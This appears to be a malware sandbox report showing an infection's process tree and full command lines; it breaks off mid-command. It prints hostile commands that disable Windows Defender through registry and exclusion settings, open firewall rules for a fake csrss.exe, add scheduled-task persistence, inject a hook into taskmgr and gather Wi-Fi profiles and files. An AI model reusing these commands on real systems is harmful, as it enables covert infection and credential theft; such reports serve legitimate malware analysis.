C:\Users\Admin\AppData\Local\Temp\uas.2\run.exe"C:\Users\Admin\AppData\Local\Temp\uas.2\run.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe6⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe7⤵
-
C:\Users\Admin\AppData\Local\Temp\uas.3.exe"C:\Users\Admin\AppData\Local\Temp\uas.3.exe"5⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 388 -s 11765⤵
- Program crash
-
C:\Users\Admin\Pictures\ggbvlCTOwbbCKfy4BP0BUMXB.exe"C:\Users\Admin\Pictures\ggbvlCTOwbbCKfy4BP0BUMXB.exe"4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Pictures\ggbvlCTOwbbCKfy4BP0BUMXB.exe"C:\Users\Admin\Pictures\ggbvlCTOwbbCKfy4BP0BUMXB.exe"5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"6⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes7⤵
- Modifies Windows Firewall
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe6⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile7⤵
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F7⤵
- Creates scheduled task(s)
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /delete /tn ScheduledUpdate /f7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile7⤵
-
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeC:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll7⤵
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F7⤵
- Creates scheduled task(s)
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV18⤵
-
C:\Windows\windefender.exe"C:\Windows\windefender.exe"7⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)8⤵
-
C:\Windows\SysWOW64\sc.exesc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)9⤵
- Launches sc.exe
-
C:\Users\Admin\Pictures\6OUqpe00GEJPnrZXJ5I17ebQ.exe"C:\Users\Admin\Pictures\6OUqpe00GEJPnrZXJ5I17ebQ.exe"4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
C:\Users\Admin\Pictures\6OUqpe00GEJPnrZXJ5I17ebQ.exe"C:\Users\Admin\Pictures\6OUqpe00GEJPnrZXJ5I17ebQ.exe"5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"6⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes7⤵
- Modifies Windows Firewall
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
-
C:\Users\Admin\Pictures\QdRCxV8vno2BVMxivZpBevEi.exe"C:\Users\Admin\Pictures\QdRCxV8vno2BVMxivZpBevEi.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zS6424.tmp\Install.exe.\Install.exe /WkfdidVYT "385118" /S5⤵
- Checks BIOS information in registry
- Checks computer location settings
- Executes dropped EXE
- Enumerates system info in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"6⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"7⤵
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 68⤵
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 69⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"7⤵
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 68⤵
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 69⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"7⤵
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 68⤵
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 69⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"7⤵
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 68⤵
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 69⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"7⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell start-process -WindowStyle Hidden gpupdate.exe /force8⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell start-process -WindowStyle Hidden gpupdate.exe /force9⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force10⤵
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"6⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True8⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True9⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "biPxHmULFllsbMgnpt" /SC once /ST 05:56:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS6424.tmp\Install.exe\" Wt /vwhdidnOau 385118 /S" /V1 /F6⤵
- Drops file in Windows directory
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn biPxHmULFllsbMgnpt"6⤵
-
C:\Windows\SysWOW64\cmd.exe/C schtasks /run /I /tn biPxHmULFllsbMgnpt7⤵
-
\??\c:\windows\SysWOW64\schtasks.exeschtasks /run /I /tn biPxHmULFllsbMgnpt8⤵
-
C:\Users\Admin\Pictures\vP5JeKYCrOMeu9rT7jfsMXod.exe"C:\Users\Admin\Pictures\vP5JeKYCrOMeu9rT7jfsMXod.exe"4⤵
- Modifies firewall policy service
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Pictures\iRXLxGDD3aFVJn22DPb2NtuN.exe"C:\Users\Admin\Pictures\iRXLxGDD3aFVJn22DPb2NtuN.exe" --silent --allusers=04⤵
- Executes dropped EXE
- Loads dropped DLL
- Enumerates connected drives
- Modifies system certificate store
-
C:\Users\Admin\Pictures\iRXLxGDD3aFVJn22DPb2NtuN.exeC:\Users\Admin\Pictures\iRXLxGDD3aFVJn22DPb2NtuN.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.68 --initial-client-data=0x29c,0x2a0,0x2a4,0x278,0x2a8,0x6af8e1d0,0x6af8e1dc,0x6af8e1e85⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\iRXLxGDD3aFVJn22DPb2NtuN.exe"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\iRXLxGDD3aFVJn22DPb2NtuN.exe" --version5⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\Pictures\iRXLxGDD3aFVJn22DPb2NtuN.exe"C:\Users\Admin\Pictures\iRXLxGDD3aFVJn22DPb2NtuN.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --installfolder="C:\Users\Admin\AppData\Local\Programs\Opera" --profile-folder --language=en --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=6044 --package-dir-prefix="C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20240428055529" --session-guid=7d552162-88f0-4b43-b27a-485331844e39 --server-tracking-blob="MGZmYWRiNzEzMzU1OWEyZjY2NjZkZjQ3ZGRhZDIyMDkxNGI3MzFkNTY4OGNmYmI1ZTEzMWRhMDc4ZmJmMWQ4Yzp7ImNvdW50cnkiOiJHQiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1ta3QmdXRtX2NhbXBhaWduPTc2N19fNDU2Iiwic3lzdGVtIjp7InBsYXRmb3JtIjp7ImFyY2giOiJ4ODZfNjQiLCJvcHN5cyI6IldpbmRvd3MiLCJvcHN5cy12ZXJzaW9uIjoiMTAiLCJwYWNrYWdlIjoiRVhFIn19LCJ0aW1lc3RhbXAiOiIxNzE0MjgzNzE4LjYxNjYiLCJ1dG0iOnsiY2FtcGFpZ24iOiI3NjdfXzQ1NiIsIm1lZGl1bSI6ImFwYiIsInNvdXJjZSI6Im1rdCJ9LCJ1dWlkIjoiMjg4ZmRlNzQtMTRlMS00NWVmLWE3MmMtOGY3N2RkZDlhYjk5In0= " --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=14040000000000005⤵
- Executes dropped EXE
- Loads dropped DLL
- Enumerates connected drives
-
C:\Users\Admin\Pictures\iRXLxGDD3aFVJn22DPb2NtuN.exeC:\Users\Admin\Pictures\iRXLxGDD3aFVJn22DPb2NtuN.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.68 --initial-client-data=0x298,0x2a8,0x2ac,0x274,0x2b0,0x6a58e1d0,0x6a58e1dc,0x6a58e1e86⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404280555291\assistant\Assistant_109.0.5097.45_Setup.exe_sfx.exe"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404280555291\assistant\Assistant_109.0.5097.45_Setup.exe_sfx.exe"5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404280555291\assistant\assistant_installer.exe"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404280555291\assistant\assistant_installer.exe" --version5⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404280555291\assistant\assistant_installer.exe"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404280555291\assistant\assistant_installer.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.45 --initial-client-data=0x228,0x22c,0x230,0x204,0x234,0x2f6038,0x2f6044,0x2f60506⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"3⤵
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 4844 -s 3923⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\cred64.dll, Main2⤵
- Loads dropped DLL
-
C:\Windows\system32\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\cred64.dll, Main3⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\netsh.exenetsh wlan show profiles4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\115692303659_Desktop.zip' -CompressionLevel Optimal4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\1000239001\mstc.exe"C:\Users\Admin\AppData\Local\Temp\1000239001\mstc.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\1000239001\mstc.exe'3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'mstc.exe'3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\explorer.exe'3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'explorer.exe'3⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "explorer" /tr "C:\Users\Admin\AppData\Roaming\explorer.exe"3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\clip64.dll, Main2⤵
- Blocklisted process makes network request
- Loads dropped DLL
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4936 -ip 49361⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 4544 -ip 45441⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 2216 -ip 22161⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 2992 -ip 29921⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 2468 -ip 24681⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 388 -ip 3881⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum1⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS6424.tmp\Install.exeC:\Users\Admin\AppData\Local\Temp\7zS6424.tmp\Install.exe Wt /vwhdidnOau 385118 /S1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"2⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 64⤵
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 65⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 64⤵
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 65⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 64⤵
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 65⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 64⤵
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 65⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell start-process -WindowStyle Hidden gpupdate.exe /force4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell start-process -WindowStyle Hidden gpupdate.exe /force5⤵
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force6⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD 